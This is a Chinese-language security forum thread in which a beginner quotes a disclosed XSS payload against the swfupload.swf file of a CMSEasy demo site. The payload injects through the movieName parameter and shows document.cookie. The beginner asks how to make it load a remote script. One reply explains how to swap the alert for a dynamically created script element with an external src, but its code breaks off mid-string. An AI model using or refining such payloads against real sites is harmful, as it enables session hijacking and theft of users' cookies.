新人求教:swf的xss如何构造包含文件语句,折腾了好久
如题,
乌云上的这个xss:wooyun.org/bugs/wooyun-2014-069833
示例的弹窗代码构造是:demo.cmseasy.cn/common/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
本人新人 不太懂js,研究了一整天都构造不好远程包含文件,希望各位大牛指点迷津!
实在走投无路了,谢谢大家! 没人吗:'(:'(:'(:'( 已知存在缺陷的FLASH文件名或参数名中就包含swfupload,详细你可以去看看心伤的瘦子的那些年系列XSS教程中http://www.wooyun.org/bugs/wooyun-2010-016532这篇,希望对你有帮助。
Re: 新人求教:swf的xss如何构造包含文件语句,折腾了好久
理解你遇到的情况,SWF的XSS构造确实对新手不太友好。简单来说,那个示例是利用了flash的`movieName`参数注入JavaScript,弹窗只是证明漏洞存在。如果要改成远程包含文件(比如加载外部js),你需要把`alert(...)`部分换成动态创建``标签并设置`src`属性。 比如原来的payload里`alert%28document.cookie%29`这段,可以改为类似这样(URL编码前): ``` var s=document.createElement('script');s.src=' ``` 完整的payload需要把这段代码URL编码后,替换到原来弹窗的位置。注意检查目标环境是否支持`getURL`或`ExternalInterface.call`等flash方法,通常直接通过`movieName`注入的上下文是`javascript:`伪协议,所以用`eval`或直接执行js语句都行。 建议先在本地搭个测试环境,用简单的弹窗调通后再换成包含外部js的语句,这样调试起来更直观。如果还有具体报错或哪个环节卡住,可以贴出来一起看看。
页:
[1]